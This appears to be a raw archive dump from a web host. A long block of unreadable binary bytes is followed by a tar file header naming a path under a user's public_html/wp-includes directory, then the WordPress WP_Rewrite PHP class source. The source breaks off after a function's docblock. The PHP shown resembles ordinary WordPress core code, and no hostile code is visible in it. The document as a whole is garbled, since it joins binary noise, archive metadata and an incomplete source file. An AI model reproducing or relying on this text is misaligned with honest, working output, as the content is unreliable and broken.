D,x:]0�	�	Lܥ�䅋�L<14�(��Ma,qh�XoL�3����p.�7���'|�k����/^�'�{�c�!��q�a�<�9��t���Q=�����Y����b�N��>C�?�kh��]��pw�w���hK��X^^^ά���0K�	?#ݹ�a��W�����<Qj],ٜZ���
�]�D�}���%�0N���F�{\ �,��̚�`O���b��a\x�AT��`���܎<etz���\���xWp6��"f���Ó��A�3˿^��[G�F95��Lm@)��a5��>g�<^5�[D'&Yd��_�с�X�Ϛ�$7'�&���wCg	�g����C�[ku�qf�
l�æC�Ց�N^�/��𴀭��F�54<
}ߵ]��n�n�8��u&�1)!��~݀�0I�K!�X0����Σ�#�q��ϓ��f)$���,	⓱n�������y���k��@���q�����pz�E����J�,p?�ܪr�`ʛwB+�`��<I�pZ�!5HDH �xZM��8��f�RS�u8�%I�I$�G�J`b�Kd58��|��XxW
S�0��R]����,����R۟��3t�)/yċ�����x�K\b�vvyPߌ]v2F�����Zl�\�4[L�u��I�Lv�Xۭ#�CT��$�����֢-L5��n̝9(Vz���(Iʲ���M(e�u-�<�v]��0(�KT$2^����Z#��[h>��͐�g�{=f1Zn���u�T�N��?��-6_{�e�#n�y�r������A�O��[�zOv�^�p�c	��Y�+�w/{E��Z�;0��U�
ПY�|���4^z�'K/X�2�:�n��_#1~�;�4�4�N�Z�
�����d�(O�W<7�X�l�Ɠ��L�xv#dk�K������.;��*�[H��CI��ul�*���;v�&*Rۢ+�5-�u/�
�FR��2�ۅ�/��m����:�C�.��2�*��i�݆�j.��(����@�mIP>	���?�(s�U�x"�ol��-W�UKrĨ��NQ&�W�2�0��p��j�0�tJ�8��	%�>�ql��i0}�u��g��+�
�-�V�:�@c���҈r�̯-X�`<=�|Ll����6�$u�2���-�#*�B�e�PP�0��A��
o���Q
]�O�<)W�N{��޳�
����X[;a�"(C�6];���s��g{�{6>��;ӈ�����A�"0��Y=��"���AQ7��K�O�1֜U�0�Eu���R%Uװ�1U�t��Z�C��F_cњ�ė�E����ū�2es����z�+�x��<��	P���d�M4�17���4MA��vj�TuD���U�~Ȓf
�A�2����}��^�V<��؆a��s�(
��������H>���Z�ҷ/¸|�
γ���e|J�+?y��a^�A\�:M��tQ��t���~�WDV�i�uL��<�<��OX`˟�z[�:XZ���.�:�ڰ�f'ل��f��j��:�S�\W(Zǹdq��	�x������s���ʯ
��1Z�zMX'"������vKc�b��4n�GEXU�H�}���V����
ֱH��F�x}X�0+�?�I�Nt�d���[��F��nY&J�T��X
�W��6ƨ��X��Z���s3�6�ݶ��T��:yqh>���Za��n��tQv9�K'�����y&����˙[M�j�u R�깑��a�;J쾡�.\��a�#(���n]�e�0���	�.�*�h�le�ܙ��*�^׃��;��e#�G�a���
���¸y�����Ϸ+ia-,��8��b9y�E��Z���������\����FFk�_{P�U�C��\�S��AЏ�/���8C�V6t���evfRs���������V0��X�z�<\´i� �a}�2�&X�:��D,g&�>V�`�V�o�6]<��=�vJ���O¹~�����*��#���ɻVX��%�D$��bnn-XG�3�);�Ѿ`���h'�&r���U⽹S)�8�*���"G��)����J~�;?��\��*�H�*���d˟�['X�]߄��s0��Ͳ�ޖ�����]�A~�4�y��]�oon��7�F)�岹)@��;�qYT���bD�%~=-bui�)yP��E�	\V2e �J\/4Z�pYaJ��S@vZ�X^�s��	�*��\Vv�1�Tf�h�IF��B~���ȓG9@��΂�tz.�xg���<���V^���-(����S�
�̓�3_/2�r�5�SΣ2%�X����-<uY��yG��6iY��O͔���LI����'�t�0���<:m��T��`�n^�<�g�<�u@��3�9����0�M�^&xi8���<Εq��;���g0y" }�p�.#Y�ۮ�k
�A��y'��8�T�8}o�z��tb
�$���=��S�ƞ�Y
�@��v�P����X!��/�@�ȿOEѣ�z�|ݤ74i���{�]Q�@�c��NU,�L��&�ق�ү�^�<g�&1�W��a� ��8ANN
�N;5��FC�SPI{�p����=�*�G�Dԋ�(L���#_����������l�B�����9��[w�3�ئ�gbE�\���ֻ��zX�9E�̖qw9����[�[6N���	�2d�M7�K/�V�/���M�Dɍ�|^0V�̈́@9�cm����u�dٖz��eY&�oT�N6&�Kxb�
�ƣ�TkME��	c�ϣ0E����+0�
X/aa��&Z��|�DU�P�k�]|6��i��!�0��<*�Y�^K!ȋ����6g=-��C�]��i�Y�O��OE�5~�M�#���lSo>�c�S�3dRk�)�¯��xw�hе08�s��O�͠<B�S�xI�W��	�f����$+��y��}�%(����#/'�L �*�d���T!�J���F:�in�I�rb�X�'�A�W!p�u_��U\h&!/�{��|c�Ӟ�#��^}�G��:���+K���-�d^���5��b�1xW�B����"N��8Q�Ky�%�-�G���!@��~5F
S�F0(b�{�K�p�ȇOώǗ��bR���X��
#4�-C�/u���Ж���� *�߼�7UZ|s�3m9;;{2-��(��%�r��4���}��P��Auc`/��`ۓ[q̉�&���o��;�»,�;F'�������ڭ9
_~Y+�B

J��i*GU6��K��	LjIn�̝8:�!�ݯY��a����4�g��t�p�����;y�^�g�r���Ƚ�l�as�-�6F+H��|��CKȕx�#�O��n�&r�c/� ��ԌL���Lt�� �YXĢ�,�+���s�"J���gHP�O�g�Й<Sơ�$���P��N��p<|ل�([+��\Yߒ��o�#'��c�e�WD:�-���f\����͌mM+�?��]*��]�E�j=��e~k�^�6�S5	��?J3+#jQN$xz��B9W�v���t�!���-���rJ[m-k��RKz�`c'�XЫ:�yTR���%���Z�YNfa棤+��mĎ@�-!j�BE�{��[��V�U8;.5D����C�Ld�\���;���6#��U6�1=Ν|3�hy�8��bp�4���ݺy��W-i�,��Z�2U0��������y-V�M�}f�ᖗn�S�9aj�銖�6%����������W��D�JTY�����W'����!��E!�ã�geAbO�@���� ��)"����*!�q��XZ��)�����-�X�Ĕ������=��?�E/��r���<��p%W���s`}��%lr-`��N*��ED�a�b��X(HR���ٻ��
rDVA�,�� E9�i.�����;��N��y��H�5���ԗH��	N���e<U�7㶚��|3R�T��)�~{"%Y�y�M��D)��d�԰T;
�@}�a�Ӱ�64��Y�6f|��P9�ij�ׇ�yD���
�华����3��ʅ[M����Ѓ���:�W׵+����1��D—�	i_��aH
hGJ%N�����}6i�Y�s�PC�r��?��>��VE��#��f��&��߁W�C��)�
����!��T�/O���_��w}[��r>M�'�T�K���|o�cQ<�H8�>p:��������!&
wm�|wG�J�(�v��O�$Ct�<�vQet�=�R�t�Œi�b�gݜ*�`Σa9e��(Έ
��=)�C�̔�Q|	Q^��ؔ�k4����w.��������TsN�{�3
�z�i��nO5Oe�)T�:⥪m�P'�,��Q��i,^��sU���s�`���$�����U�[�W�!%�O/�W��j���OY��"���A��
���/�NG
$3F��ơ&�兒�Jft31��\�M��Q�d
_�,U��-�u�5 �
Q��2��c	�=E�ڧQ��gI�9�J
^&R†��t�O�{���K_�K�,H(F60��r�&T�9��yΜ93��N��yU��<T0Z��`)K]Q%�t��h.,��\
HU!�P!��Y��{|��Q�S��w�|E�����F��y?��it���{=8�H�hQi�ohU�
��W�Ŕ��R���2t@s�L3�Ԯ�R<��|j�ʧ�W����-3,4�`�r��x5!�a�Da
�^"�\}�o=Z�K��]�ĊB�D(�r�j ��IW>*eF�
f���BCV�J�7R�D���reL7��qЀf`��aQ�TS$^�� ��S�n���(���붵=]�D-�"��Zʗ��kg���2E����)��ˎ��!ޕ;��x�V��Xv�(�F�����s�XR��@����C31�M;���gi���4�1^���=�a�ҲS�ӒF��]�^�ʗ�y���.QR~���>x�7a�NbۙQeTW/mUpG���)��]x�1�ʵ��ڈ?k.��OT�UZ|;ɜ\"�%���B�V��0B��D�W��X�5*!��;���u^uσB/�R�q�u���^�[�g(�EG,��<u����JѢ�t9�KP�3}���bR����u<Q֓r�5�&�Q3E)�N7I��1�mo�[|�j_�.��܊9��5[��s�SL��rL���$ھ
���,R�ȭ#�0�[#j=��Y{.G��B^�^%�E
K���ʪ��?�P��Q�ͱ�D��>F����&��rn�����6�6U��)�Ⱦr���kMzB璤��8ˑ(nWbү�y�צ-��DgC�`���2�B��e@pWF%r��~c�Q�f�K_�(Y�#l�ET��L�m+��J���Į��֨"���~	�����&z��5�&7dM-ZAL_�����'��T�6��sE9�:�HAR�
�v����y�|��Kc�؄�*�^:z����_�}3~uȞ����Z�~#�[�D�;=�<��+[����|�neX���ODw`�R�9%&�dH'�O�@%�Ay/{Y�mG=m�VG q=-�>y����6 ٿ���k-&Ťq�m���@�����p�~J��$�$�1=�Z��/�T������h0`��:��r�ZF#�I�x�֐�A��K�����à�Vb��١��;z 
��dU����%E=��H��l�C���"w7M~|MNR�=eW]n���
�����%�ӱ.P��KhN�:o{����t꽡�ιz��<L�G^� �32��]��bkg	Z'��{S�Z��I
�H1�Y���:R/g��p"�J�
�jLJo~|������G/�o��A=������@-b�2�<��y%��5�"(*r�j�濶	�~%P���H�nί)e,vU�!�=f}!�٬�>���q�8�'`ZNT�OU�i�MW͹4	X8��d��0��[7]�eњj�TW�]�X\ߨ�P]6��&P�V�S����A5ra�O�$,Km1��Np�2���=�kE���
9���{ �of��\�0F-�^�E�C��ԡ�}ނY}����e�҃��K���ϊ7���:~�Y�{
)�ӽ�x�'���t����?��,��r�	ؐ�~����ݤ"�K*M�좆�7
-5��h���ޗ�̥�^1%�E܀���S�,�ֲU>�kEy��70%�B�GVa�4�5�;̢z`�v��R��b�x�>)�N�MFu��$&�h28�|�}��z/�FN��`a��Pii�oW���KiW[CZ�&��v+�5�W"|5���%d��He�z���:�h�7�G��E�_`�›��`�ށ��O1g�śU�s���mq�f���Ǝț���<�+"����f��N��;�p݇��;E���
�|&�7��"t���h��Nj���jz�#ƣ�r�I��Yp�Z�T�Ix^'̂T�;8�2��cnwJ�9��x|���x��6�c��X}���YzW����o��Ӧ<bi6x'Ͽ'M��7?�o�Է������+���6%1$�tk�6��n�?�{�?�jߺ������<�e�����hq`�5>~q2~����;Vxe;
z=
y�yS�|,�"�	���C�������YLÞ����YL�)3Z���Q�P���O��ch��wS���u�NE͈�T�Ԡ�G�nZ�b)=(� �|N]]��̔�1�:O��
0�Q��
V�6��,�:R
�������������j���PKYO\��10/class-wp-rewrite.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-rewrite.php000064400000174307151442376230017776 0ustar00<?php
/**
 * Rewrite API: WP_Rewrite class
 *
 * @package WordPress
 * @subpackage Rewrite
 * @since 1.5.0
 */

/**
 * Core class used to implement a rewrite component API.
 *
 * The WordPress Rewrite class writes the rewrite module rules to the .htaccess
 * file. It also handles parsing the request to get the correct setup for the
 * WordPress Query class.
 *
 * The Rewrite along with WP class function as a front controller for WordPress.
 * You can add rules to trigger your page view and processing using this
 * component. The full functionality of a front controller does not exist,
 * meaning you can't define how the template files load based on the rewrite
 * rules.
 *
 * @since 1.5.0
 */
#[AllowDynamicProperties]
class WP_Rewrite {
	/**
	 * Permalink structure for posts.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $permalink_structure;

	/**
	 * Whether to add trailing slashes.
	 *
	 * @since 2.2.0
	 * @var bool
	 */
	public $use_trailing_slashes;

	/**
	 * Base for the author permalink structure (example.com/$author_base/authorname).
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $author_base = 'author';

	/**
	 * Permalink structure for author archives.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $author_structure;

	/**
	 * Permalink structure for date archives.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $date_structure;

	/**
	 * Permalink structure for pages.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $page_structure;

	/**
	 * Base of the search permalink structure (example.com/$search_base/query).
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $search_base = 'search';

	/**
	 * Permalink structure for searches.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $search_structure;

	/**
	 * Comments permalink base.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $comments_base = 'comments';

	/**
	 * Pagination permalink base.
	 *
	 * @since 3.1.0
	 * @var string
	 */
	public $pagination_base = 'page';

	/**
	 * Comments pagination permalink base.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $comments_pagination_base = 'comment-page';

	/**
	 * Feed permalink base.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $feed_base = 'feed';

	/**
	 * Comments feed permalink structure.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $comment_feed_structure;

	/**
	 * Feed request permalink structure.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $feed_structure;

	/**
	 * The static portion of the post permalink structure.
	 *
	 * If the permalink structure is "/archive/%post_id%" then the front
	 * is "/archive/". If the permalink structure is "/%year%/%postname%/"
	 * then the front is "/".
	 *
	 * @since 1.5.0
	 * @var string
	 *
	 * @see WP_Rewrite::init()
	 */
	public $front;

	/**
	 * The prefix for all permalink structures.
	 *
	 * If PATHINFO/index permalinks are in use then the root is the value of
	 * `WP_Rewrite::$index` with a trailing slash appended. Otherwise the root
	 * will be empty.
	 *
	 * @since 1.5.0
	 * @var string
	 *
	 * @see WP_Rewrite::init()
	 * @see WP_Rewrite::using_index_permalinks()
	 */
	public $root = '';

	/**
	 * The name of the index file which is the entry point to all requests.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $index = 'index.php';

	/**
	 * Variable name to use for regex matches in the rewritten query.
	 *
	 * @since 1.5.0
	 * @var string
	 */
	public $matches = '';

	/**
	 * Rewrite rules to match against the request to find the redirect or query.
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $rules;

	/**
	 * Additional rules added external to the rewrite class.
	 *
	 * Those not generated by the class, see add_rewrite_rule().
	 *
	 * @since 2.1.0
	 * @var string[]
	 */
	public $extra_rules = array();

	/**
	 * Additional rules that belong at the beginning to match first.
	 *
	 * Those not generated by the class, see add_rewrite_rule().
	 *
	 * @since 2.3.0
	 * @var string[]
	 */
	public $extra_rules_top = array();

	/**
	 * Rules that don't redirect to WordPress' index.php.
	 *
	 * These rules are written to the mod_rewrite portion of the .htaccess,
	 * and are added by add_external_rule().
	 *
	 * @since 2.1.0
	 * @var string[]
	 */
	public $non_wp_rules = array();

	/**
	 * Extra permalink structures, e.g. categories, added by add_permastruct().
	 *
	 * @since 2.1.0
	 * @var array[]
	 */
	public $extra_permastructs = array();

	/**
	 * Endpoints (like /trackback/) added by add_rewrite_endpoint().
	 *
	 * @since 2.1.0
	 * @var array[]
	 */
	public $endpoints;

	/**
	 * Whether to write every mod_rewrite rule for WordPress into the .htaccess file.
	 *
	 * This is off by default, turning it on might print a lot of rewrite rules
	 * to the .htaccess file.
	 *
	 * @since 2.0.0
	 * @var bool
	 *
	 * @see WP_Rewrite::mod_rewrite_rules()
	 */
	public $use_verbose_rules = false;

	/**
	 * Could post permalinks be confused with those of pages?
	 *
	 * If the first rewrite tag in the post permalink structure is one that could
	 * also match a page name (e.g. %postname% or %author%) then this flag is
	 * set to true. Prior to WordPress 3.3 this flag indicated that every page
	 * would have a set of rules added to the top of the rewrite rules array.
	 * Now it tells WP::parse_request() to check if a URL matching the page
	 * permastruct is actually a page before accepting it.
	 *
	 * @since 2.5.0
	 * @var bool
	 *
	 * @see WP_Rewrite::init()
	 */
	public $use_verbose_page_rules = true;

	/**
	 * Rewrite tags that can be used in permalink structures.
	 *
	 * These are translated into the regular expressions stored in
	 * `WP_Rewrite::$rewritereplace` and are rewritten to the query
	 * variables listed in WP_Rewrite::$queryreplace.
	 *
	 * Additional tags can be added with add_rewrite_tag().
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $rewritecode = array(
		'%year%',
		'%monthnum%',
		'%day%',
		'%hour%',
		'%minute%',
		'%second%',
		'%postname%',
		'%post_id%',
		'%author%',
		'%pagename%',
		'%search%',
	);

	/**
	 * Regular expressions to be substituted into rewrite rules in place
	 * of rewrite tags, see WP_Rewrite::$rewritecode.
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $rewritereplace = array(
		'([0-9]{4})',
		'([0-9]{1,2})',
		'([0-9]{1,2})',
		'([0-9]{1,2})',
		'([0-9]{1,2})',
		'([0-9]{1,2})',
		'([^/]+)',
		'([0-9]+)',
		'([^/]+)',
		'([^/]+?)',
		'(.+)',
	);

	/**
	 * Query variables that rewrite tags map to, see WP_Rewrite::$rewritecode.
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $queryreplace = array(
		'year=',
		'monthnum=',
		'day=',
		'hour=',
		'minute=',
		'second=',
		'name=',
		'p=',
		'author_name=',
		'pagename=',
		's=',
	);

	/**
	 * Supported default feeds.
	 *
	 * @since 1.5.0
	 * @var string[]
	 */
	public $feeds = array( 'feed', 'rdf', 'rss', 'rss2', 'atom' );

	/**
	 * Determines whether permalinks are being used.
	 *
	 * This can be either rewrite module or permalink in the HTTP query string.
	 *
	 * @since 1.5.0
	 *
	 * @return bool True, if permalinks are enabled.
	 */
	public function using_permalinks() {
		return ! empty( $this->permalink_structure );
	}

	/**
	 * Determines whether permalinks are being used and rewrite module is not enabled.
	 *
	 * Means that permalink links are enabled and index.php is in the URL.
	 *
	 * @since 1.5.0
	 *
	 * @return bool Whether permalink links are enabled and index.php is in the URL.
	 */
	public function using_index_permalinks() {
		if ( empty( $this->permalink_structure ) ) {
			return false;
		}

		// If the index is not in the permalink, we're using mod_rewrite.
		return preg_match( '#^/*' . $this->index . '#', $this->permalink_structure );
	}

	/**
	 * Determines whether permalinks are being used and rewrite module is enabled.
	 *
	 * Using permalinks and index.php is not in the URL.
	 *
	 * @since 1.5.0
	 *
	 * @return bool Whether permalink links are enabled and index.php is NOT in the URL.
	 */
	public function using_mod_rewrite_permalinks() {
		return $this->using_permalinks() && ! $this->using_index_permalinks();
	}

	/**
	 * Indexes for matches for usage in preg_*() functions.
	 *
	 * The format of the string is, with empty matches property value, '$NUM'.
	 * The 'NUM' will be replaced with the value in the $number parameter. With
	 * the matches property not empty, the value of the returned string will
	 * contain that value of the matches property. The format then will be
	 * '$MATCHES[NUM]', with MATCHES as the value in the property and NUM the
	 * value of the $number parameter.
	 *
	 * @since 1.5.0
	 *
	 * @param int $number Index number.
	 * @return string
	 */
	public function preg_index( $number ) {
		$match_prefix = '$';
		$match_suffix = '';

		if ( ! empty( $this->matches ) ) {
			$match_prefix = '$' . $this->matches . '[';
			$match_suffix = ']';
		}

		return "$match_prefix$number$match_suffix";
	}

	/**
	 * Retrieves all pages and attachments for pages URIs.
	 *
	 * The attachments are for those that have pages as parents and will be
	 * retrieved.
	 *
	 * @since 2.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return array Array of page URIs as first element and attachment URIs as second element.
	 */
	public function page_uri_index() {
		global $wpdb;

		// Get pages in order of hierarchy, i.e. children after parents.
		$pages = $wpdb->get_results( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'page' AND post_status != 'auto-draft'" );
		$posts = get_page_hierarchy( $pages );

		// If we have no pages get out quick.
		if ( ! $posts ) {
			return array( array(), array() );
		}

		// Now reverse it, because we need parents after children for rewrite rules to work properly.
		$posts = array_reverse( $posts, true );

		$page_uris            = array();
		$page_attachment_uris = array();

		foreach ( $posts as $id => $post ) {
			// URL => page name.
			$uri         = get_page_uri( $id );
			$attachments = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent = %d", $id ) );
			if ( ! empty( $attachments ) ) {
				foreach ( $attachments as $attachment ) {
					$attach_uri                          = get_page_uri( $attachment->ID );
					$page_attachment_uris[ $attach_uri ] = $attachment->ID;
				}
			}

			$page_uris[ $uri ] = $id;
		}

		return array( $page_uris, $page_attachment_uris );
	}

	/**
	 * Retrieves all of the rewrite rules for pages.
	 *
	 * @since 1.5.0
	 *
	 * @return string[] Page rewrite rules.
	 */
	public function page_rewrite_rules() {
		// The extra .? at the beginning prevents clashes with other regular expressions in the rules array.
		$this->add_rewrite_tag( '%pagename%', '(.?.+?)', 'pagename=' );

		return $this->generate_rewrite_rules( $this->get_page_permastruct(), EP_PAGES, true, true, false, false );
	}

	/**
	 * Retrieves date permalink structure, with year, month, and day.
	 *
	 * The permalink structure for the date, if not set already depends on the
	 * permalink structure. It can be one of three formats. The first is year,
	 * month, day; the second is day, month, year; and the last format is month,
	 * day, year. These are matched against the permalink structure for which
	 * one is used. If none matches, then the default will be used, which is
	 * year, month, day.
	 *
	 * Prevents post ID and date permalinks from overlapping. In the case of
	 * post_id, the date permalink will be prepended with front permalink with
	 * 'date/' before the actual permalink to form the complete date permalink
	 * structure.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Date permalink structure on success, false on failure.
	 */
	public function get_date_permastruct() {
		if ( isset( $this->date_structure ) ) {
			return $this->date_structure;
		}

		if ( empty( $this->permalink_structure ) ) {
			$this->date_structure = '';
			return false;
		}

		// The date permalink must have year, month, and day separated by slashes.
		$endians = array( '%year%/%monthnum%/%day%', '%day%/%monthnum%/%year%', '%monthnum%/%day%/%year%' );

		$this->date_structure = '';
		$date_endian          = '';

		foreach ( $endians as $endian ) {
			if ( str_contains( $this->permalink_structure, $endian ) ) {
				$date_endian = $endian;
				break;
			}
		}

		if ( empty( $date_endian ) ) {
			$date_endian = '%year%/%monthnum%/%day%';
		}

		/*
		 * Do not allow the date tags and %post_id% to overlap in the permalink
		 * structure. If they do, move the date tags to $front/date/.
		 */
		$front = $this->front;
		preg_match_all( '/%.+?%/', $this->permalink_structure, $tokens );
		$tok_index = 1;
		foreach ( (array) $tokens[0] as $token ) {
			if ( '%post_id%' === $token && ( $tok_index <= 3 ) ) {
				$front = $front . 'date/';
				break;
			}
			++$tok_index;
		}

		$this->date_structure = $front . $date_endian;

		return $this->date_structure;
	}

	/**
	 * Retrieves the year permalink structure without month and day.
	 *
	 * Gets the date permalink structure and strips out the month and day
	 * permalink structures.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Year permalink structure on success, false on failure.
	 */
	public function get_year_permastruct() {
		$structure = $this->get_date_permastruct();

		if ( empty( $structure ) ) {
			return false;
		}

		$structure = str_replace( '%monthnum%', '', $structure );
		$structure = str_replace( '%day%', '', $structure );
		$structure = preg_replace( '#/+#', '/', $structure );

		return $structure;
	}

	/**
	 * Retrieves the month permalink structure without day and with year.
	 *
	 * Gets the date permalink structure and strips out the day permalink
	 * structures. Keeps the year permalink structure.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Year/Month permalink structure on success, false on failure.
	 */
	public function get_month_permastruct() {
		$structure = $this->get_date_permastruct();

		if ( empty( $structure ) ) {
			return false;
		}

		$structure = str_replace( '%day%', '', $structure );
		$structure = preg_replace( '#/+#', '/', $structure );

		return $structure;
	}

	/**
	 * Retrieves the day permalink structure with month and year.
	 *
	 * Keeps date permalink structure with all year, month, and day.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Year/Month/Day permalink structure on success, false on failure.
	 */
	public function get_day_permastruct() {
		return $this->get_date_permastruct();
	}

	/**
	 * Retrieves the permalink structure for categories.
	 *
	 * If the category_base property has no value, then the category structure
	 * will have the front property value, followed by 'category', and finally
	 * '%category%'. If it does, then the root property will be used, along with
	 * the category_base property value.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Category permalink structure on success, false on failure.
	 */
	public function get_category_permastruct() {
		return $this->get_extra_permastruct( 'category' );
	}

	/**
	 * Retrieves the permalink structure for tags.
	 *
	 * If the tag_base property has no value, then the tag structure will have
	 * the front property value, followed by 'tag', and finally '%tag%'. If it
	 * does, then the root property will be used, along with the tag_base
	 * property value.
	 *
	 * @since 2.3.0
	 *
	 * @return string|false Tag permalink structure on success, false on failure.
	 */
	public function get_tag_permastruct() {
		return $this->get_extra_permastruct( 'post_tag' );
	}

	/**
	 * Retrieves an extra permalink structure by name.
	 *
	 * @since 2.5.0
	 *
	 * @param string $name Permalink structure name.
	 * @return string|false Permalink structure string on success, false on failure.
	 */
	public function get_extra_permastruct( $name ) {
		if ( empty( $this->permalink_structure ) ) {
			return false;
		}

		if ( isset( $this->extra_permastructs[ $name ] ) ) {
			return $this->extra_permastructs[ $name ]['struct'];
		}

		return false;
	}

	/**
	 * Retrieves the author permalink structure.
	 *
	 * The permalink structure is front property, author base, and finally
	 * '/%author%'. Will set the author_structure property and then return it
	 * without attempting to set the value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Author permalink structure on success, false on failure.
	 */
	public function get_author_permastruct() {
		if ( isset( $this->author_structure ) ) {
			return $this->author_structure;
		}

		if ( empty( $this->permalink_structure ) ) {
			$this->author_structure = '';
			return false;
		}

		$this->author_structure = $this->front . $this->author_base . '/%author%';

		return $this->author_structure;
	}

	/**
	 * Retrieves the search permalink structure.
	 *
	 * The permalink structure is root property, search base, and finally
	 * '/%search%'. Will set the search_structure property and then return it
	 * without attempting to set the value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Search permalink structure on success, false on failure.
	 */
	public function get_search_permastruct() {
		if ( isset( $this->search_structure ) ) {
			return $this->search_structure;
		}

		if ( empty( $this->permalink_structure ) ) {
			$this->search_structure = '';
			return false;
		}

		$this->search_structure = $this->root . $this->search_base . '/%search%';

		return $this->search_structure;
	}

	/**
	 * Retrieves the page permalink structure.
	 *
	 * The permalink structure is root property, and '%pagename%'. Will set the
	 * page_structure property and then return it without attempting to set the
	 * value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Page permalink structure on success, false on failure.
	 */
	public function get_page_permastruct() {
		if ( isset( $this->page_structure ) ) {
			return $this->page_structure;
		}

		if ( empty( $this->permalink_structure ) ) {
			$this->page_structure = '';
			return false;
		}

		$this->page_structure = $this->root . '%pagename%';

		return $this->page_structure;
	}

	/**
	 * Retrieves the feed permalink structure.
	 *
	 * The permalink structure is root property, feed base, and finally
	 * '/%feed%'. Will set the feed_structure property and then return it
	 * without attempting to set the value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Feed permalink structure on success, false on failure.
	 */
	public function get_feed_permastruct() {
		if ( isset( $this->feed_structure ) ) {
			return $this->feed_structure;
		}

		if ( empty( $this->permalink_structure ) ) {
			$this->feed_structure = '';
			return false;
		}

		$this->feed_structure = $this->root . $this->feed_base . '/%feed%';

		return $this->feed_structure;
	}

	/**
	 * Retrieves the comment feed permalink structure.
	 *
	 * The permalink structure is root property, comment base property, feed
	 * base and finally '/%feed%'. Will set the comment_feed_structure property
	 * and then return it without attempting to set the value again.
	 *
	 * @since 1.5.0
	 *
	 * @return string|false Comment feed permalink structure on success, false on failure.
	 */
	public function get_comment_feed_permastruct() {
		if ( isset( $this->comment_feed_structure ) ) {
			return $this->comment_feed_structure;
		}

		if ( empty( $this->permalink_structure ) ) {
			$this->comment_feed_structure = '';
			return false;
		}

		$this->comment_feed_structure = $this->root . $this->comments_base . '/' . $this->feed_base . '/%feed%';

		return $this->comment_feed_structure;
	}

	/**
	 * Adds or updates existing rewrite tags (e.g. %postname%).
	 *
	 * If the tag already exists, replace the existing pattern and query for
	 * that tag, otherwise add the new tag.
	 *
	 * @since 1.5.0
	 *
	 * @see WP_Rewrite::$rewritecode
	 * @see WP_Rewrite::$rewritereplace
	 * @see WP_Rewrite::$queryreplace
	 *
	 * @param string $tag   Name of the rewrite tag to add or update.
	 * @param string $regex Regular expression to substitute the tag for in rewrite rules.
	 * @param string $query String to append to the rewritten query. Must end in '='.
	 */
	public function add_rewrite_tag( $tag, $regex, $query ) {
		$position = array_search( $tag, $this->rewritecode, true );
		if ( false !== $position && null !== $position ) {
			$this->rewritereplace[ $position ] = $regex;
			$this->queryreplace[ $position ]   = $query;
		} else {
			$this->rewritecode[]    = $tag;
			$this->rewritereplace[] = $regex;
			$this->queryreplace[]   = $query;
		}
	}


	/**
	 * Removes an existing rewrite tag.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Rewrite::$rewritecode
	 * @see WP_Rewrite::$rewritereplace
	 * @see WP_Rewrite::$queryreplace
	 *
	 * @param string $tag Name of the rewrite tag to remove.
	 */
	public function remove_rewrite_tag( $tag ) {
		$position = array_search( $tag, $this->rewritecode, true );
		if ( false !== $position && null !== $position ) {
			unset( $this->rewritecode[ $position ] );
			unset( $this->rewritereplace[ $position ] );
			unset( $this->queryreplace[ $position ] );
		}
	}

	/**
	 * Generates rewrite rules from a permalink structure.
	 *
	 * The main WP_Rewrite function for building the rewrite rule list. The
	 * contents of the function is a mix of black magic and regular expressions,
	 * so best just ignore the contents and move to the parameters.
	 *
	 * @since 1.5.0
	 *
	 * @param string $permalink_structure The permalink structure.
	 * @param int    $ep_mask             Optional. Endpoint mask defining what endpoints are added to the structure.
	 *                                    Accepts a mask of:
	 *                                    - `EP_ALL`
	 *                                    - `EP_NONE`
	 *                                    - `EP_ALL_ARCHIVES`
	 *                                    - `EP_ATTACHMENT`
	 *                                    - `EP_AUTHORS`
	 *                                    - `EP_CATEGORIES`
	 *                                    - `EP_COMMENTS`
	 *                                    - `EP_DATE`
	 *                                    - `EP_DAY`
	 *                                    - `EP_MONTH`
	 *                                    - `EP_PAGES`
	 *                                    - `EP_PERMALINK`
	 *                                    - `EP_ROOT`
	 *                                    - `EP_SEARCH`
	 *                                    - `EP_TAGS`
	 *                                    - `EP_YEAR`
	 *                                    Default `EP_NONE`.
	 * @param bool   $paged               Optional. Whether archive pagination rules should be added for the structure.
	 *                                    Default true.
	 * @param bool   $feed                Optional. Whether feed rewrite rules should be added for the structure.
	 *                                    Default true.
	 * @param bool   $forcomments         Optional. Whether the feed rules should be a query for a comments feed.
	 *                                    Default false.
	 * @param bool   $walk_dirs           Optional. Whether the 'directories' making up the structure should be walked
	 *                                    over and rewrite rules built for each in-turn. Default true.
	 * @param bool   $endpoints           Optional. Whether endpoints should be applied to the generated rewrite rules.
	 *                                    Default true.
	 * @return string[] Array of rewrite rules keyed by their regex pattern.
	 */
